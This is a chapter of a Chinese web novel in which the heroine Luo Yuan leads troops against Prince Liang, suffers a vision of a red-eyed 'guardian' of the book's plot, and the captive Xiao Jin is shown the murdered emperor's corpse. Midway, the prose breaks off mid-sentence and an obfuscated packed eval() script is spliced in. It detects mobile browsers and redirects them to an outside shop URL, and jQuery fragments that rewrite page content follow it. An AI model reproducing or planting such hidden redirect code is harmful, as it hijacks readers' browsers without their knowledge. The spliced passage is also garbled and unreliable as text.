乌桑率大军抵达骊山时,山腰处早已是一片狼藉,只剩遍地战火硝烟。
支援的大军已尽数朝这边赶来,洛鸢从满地的尸身里来回翻找,双眼红得吓人。乌桑上前拉住她,劝道:“王妃,别找了,殿下福大命大,一定会没事的。你稍安勿躁,我自会派人寻找殿下的下落。”
洛鸢蛮横地拨开他,继续寻找。
乌桑淡淡盯着她,一时也不好再劝。此时此刻,恐怕没人比他更懂洛鸢的心情了。那时,他像发疯似地从火场中找她时,也是这般焦灼、暴躁、抓心挠肝......
一模一样。
如今再想,竟恍如隔世,但那份火烧火燎般的心情他依旧能感同身受、痛如刀割。此刻,他的焦虑丝毫不比洛鸢少。
但冷静终究占了上风:“王妃,依目前形势看,梁王必是早有准备,所以才导致殿下一队损失惨重。但你不必过分忧心,殿下行事机敏,必不会有性命之忧。况且,残灯和铁勺真人也会保护好殿下的。”
洛鸢咬紧下唇,眼眶通红地点了点头。
乌桑又道:“周边恐仍有埋伏,王妃,你不能再有任何危险了,否则、否则我无法向殿下交代......”
他朝洛鸢伸出手,试图让她回到自己身边。
天空愈发阴沉,树叶被风吹得哗哗作响,风很凉,凉到了每个人的心里。
“嗯,咱们还有后手,不怕。今日就是梁王的死期。”洛鸢咬牙,朝将士们手里望了望,唇边噙起酸涩的笑意。
“冲上山,将逆党一网打尽!”
随着乌桑一声令下,所有将士们一拥而上,朝山顶冲去——
乌桑麾下将士们各个扛起一支很长的铁家伙,只要扣动扳机,便会发出连珠炮似地轰鸣声,一连可击中多人,射程极远、效率极高、杀伤力极大,比洛鸢之前研发出来的改良版火铳厉害不知多少倍!
这是之前藏在镇国公府水下密室的、一批极为隐秘的武器,洛鸢、乌桑一行在赶来支援萧烬前,路过藏匿它们的地点时,原本只是寻些其他的东西,谁知意外发现了这些......简直天降好运!
但梁王那边也毫不含糊,很快,炸药筒子一枚枚扔过来,将所有人搞了个措手不及。但好在,这些炸药的威力越来越弱,对将士们的损失并不大。
洛鸢嘲讽地笑笑。
正当大军逐渐占据上风时,形势突然急转直下,一下子起了变化!
天空突然变得异常诡异,似乎在慢慢变红,先是稍微晕染一层淡淡的浅红,随即变成橘红,后来变成朱红,再后来,又变成刺目的血红......
而将士们的行为举止也变得越发奇怪,他们仿佛看不清路,一直在原地不停打转,慢慢地,他们甚至连立在身旁的同袍也看不到了,被迫发出此起彼伏的、焦虑的呼喊。
洛鸢心下一惊,下意识去找乌桑。然而,却一无所获。再打眼望去,眼前只剩一道偌大的光墙,挡住了所有的去路和来处,世界仿佛只剩她一个人。
天空中似乎出现了一双带着血红瞳仁的眼睛,它盯着洛鸢,冷冰冰道:“不行,不行!我不允许任何人改变这方世界的秩序!我要将一切拉回正轨!”
洛鸢似在梦中,懵懂地问:“你是谁?”
那双红目阴恻恻眨几下,冷道:“我是这方世界的守护者,是这里的主宰与天道。或许,你也可以将我视作一串维持剧情主线运行的代码。”
洛鸢驳斥:“放屁!作者才是这里的神!当然,如今,换成了誓要搅乱乾坤的我!”
红目发出慑人的笑:“作者?笑话!从这本书完成之日起,那个蠢笨的作者便与此书无关了!他再也无法掌控书里的东西!从那刻起,这本书自成一方世界,所谓命运之轮开始缓缓启动,而我,便是这里秩序的维护者!谁都无法质疑我的权威!”
“凡试图改变者,唯有死。”
洛鸢怔愣片刻,似乎在思考什么。
“不要再做无谓的抗争,你试图拯救的那个人,他的命运早已写就。而你试图击垮的那个人,他的命运同样不容更改。至于你......这个愚蠢的闯入者,你既然能来到此处,那这便是你的宿命,认命吧!”
“我不认命!”洛鸢捂住脑袋,浑身似乎被粗暴的力量来回撕扯,惹得她痛不欲生,“我偏不认命!”
顷刻间,从四面八方的光墙上射来一道道闪电般的电击,每一道都正中洛鸢,痛得她撕心裂肺地大喊。
“不听话的人,便要被抹杀。”红目声音阴森寒凉。
洛鸢分不清眼下的一切是幻觉还是真实,但痛感却清晰存在,她感觉自己快被撕裂了。
又是一个恍惚间,她看到萧烬拎刀朝她一步步走来,他弯着眉眼、笑得极冷。下一秒,他朝她眉心刺过来......
洛鸢冷静片刻,拔出腰间短刀,一刀将萧烬的幻影砍碎,紧接着,她下意识发出怒吼,朝四面八方疯一般凌乱地劈下去——
幻影再次重组成影像、她再砍,再重组、再砍......如此反反复复,仿佛历经了一个世纪之久,直到那双红目渐渐黯淡下去,然后阖上眼皮。
......
“王妃、王妃,你还好吗?”迷迷糊糊间,洛鸢被摇醒,乌桑正用极度忧虑的眼神盯着她,手心湿热。
“你方才拼尽力气拿刀砍自己,若不是我们奋力制止,后果不堪设想。王妃,方才到底发生了何事?”乌桑声音发颤,臂膀酸胀不已。
难道方才自己一直在刺自己?洛鸢仔细回忆下,觉得有些不可思议,忙问:“那道光墙呢?你们是如何从光墙中走出来的?”
“什么光墙?”乌桑疑惑,“王妃在说什么?”
“天上那双红彤彤的血眼呢,这你们总该都看见了吧?”洛鸢斜躺在杂草上,挣扎着想要起身。
乌桑扶住她身子,望向周围凝眉的将士,面色煞白:“方才王妃口中的所谓血眼,你们可有人看见?”
众人摇头。
乌桑也摇了摇头。
“可是方才天空分明变得猩红,而且、而且你们全都看不见彼此,一个个像没头苍蝇般摸来摸去啊!都不记得了?!”洛鸢有些恼。
但见众人迷茫困惑的表情,片刻后,洛鸢失望地冷笑了下。
只有她。只有她看见了。
难道,方才发生的一切都是幻觉?但明明都如此真切。
“那咱们赢了吗?方才不是一直在打仗?逆党呢?都被打死了?”洛鸢抓住乌桑的胳膊,语气急躁。
沉默半晌后,乌桑叹口气:“逃了。我们明明可以乘胜追击的,可方才突然起了一阵雾,等雾散后,梁王的人都不见了。”
“王妃,是我无能。”
洛鸢再次陷入沉默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265546|187941||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
此刻,洛鸢才察觉到她几乎累到虚脱,周身疼得厉害,身上莫名多出不少电击后才会产生的树桠状伤痕。
像梦,又不是梦。
洛鸢望向凝成墨的天色,附在乌桑耳旁小声嘱咐了会儿,随即道:“你们一切小心。”说完,她拖着沉重疲惫的身子,朝另一侧走去。
*
萧烬被五花大绑着,扔在地宫某处角落。
梁王翘着二郎腿坐在一旁,唇角噙起嚣张的笑,剜着萧烬:“此刻死,还是容我先玩一玩你,再死?”黎酒站在他身旁,神情复杂。
“那个、什么绝,”萧烬浑身是伤,血还在不断渗出,嘲讽道,“话说你姓什么?听说你是丽贵妃抱来的野种,呵!既然不是老东西亲生,以后不好再用尊贵的萧姓了吧?不然显得你,多不要脸啊。”
就在五六个时辰前,萧烬被下属护送转移时,原本一切顺利,可谁知突然刮起一阵妖风,再之后他便落入了梁王手中。一切发生得既突然、又诡异。
“什么?一个将死之人,竟教本王做事?”梁王脸上笑着,目光却瞬间变冷,“萧烬,今日本王便由着你嘲讽,反正,你马上就要死了。”
“你是真龙血脉又如何,到头来还不是落在我这个‘野、种’手里,哈哈。看见那儿了吗?”梁王指着不远处一副简陋的棺木,疯笑,“你知道里面是谁吗?我谅你死活也猜不到。”
顺着他的视线望去,萧烬眼眶一紧,警惕道:“是谁?你把阿鸢如何了!”
梁王愣了愣,随即大笑:“没想到啊,我这五弟,居然是个货真价实的情种。你说你,满脑子想的都是女人。女人算什么东西,五弟啊,你糊涂啊,哈哈哈。”
他走近棺木,将薄薄的棺盖粗暴地掀翻在地,将萧烬扯过来,眼神变得狠戾:“你瞧啊,你仔细瞧瞧这里面躺的是谁!”
“真龙天子、九五之尊?呵呵,一旦死了......还不是与贱民一样,只是一摊腥臭的腐肉!”
萧烬瞳孔放大,俯身过去定睛一看,随即反胃干呕。那副劣质棺木里,躺着的,分明是陛下!不,是早已腐烂流出脓水的陛下!
原来,他早就死了。
当初陛下被梁王毒害软禁后没过多久,梁王便秘密解决了他,之后命人随意将他扔在了皇陵。全无半点父子情分。
“萧烬,你们是亲生父子,你说说看,本王......哦不,是朕。”梁王特意加重了这个字的语气,“朕如此收殓他,你可否满意?不过话说,你应该比我还恨他吧?朕、这样做,算不算为你出了一口恶气。”
萧烬被棺木里传出的味道熏得胃里翻腾,下意识捂住口鼻。他内心并无多少悲伤,只觉得有些震惊与无语。
“你杀了他?萧绝,你弑君!”
“不不不,你错了。朕、只是替天下解决了一个无用的昏庸帝王。朕、居功至伟!”梁王的眼神暗了暗,“下一个,轮到你了。”
梁王抽出长剑,一点点抵向萧烬的胸口,冷笑:“事到如今,本王不介意告诉你,那个老东西丧失清醒意识前,曾说要将皇位传于你来着......哈哈哈。”
萧烬怔愣几下。
“朕此刻就送你们父子团聚——”
萧烬绝望地闭上眼。
“报——宏德王妃闯入圣德殿,正在大开杀戒——”梁王麾下急急来禀。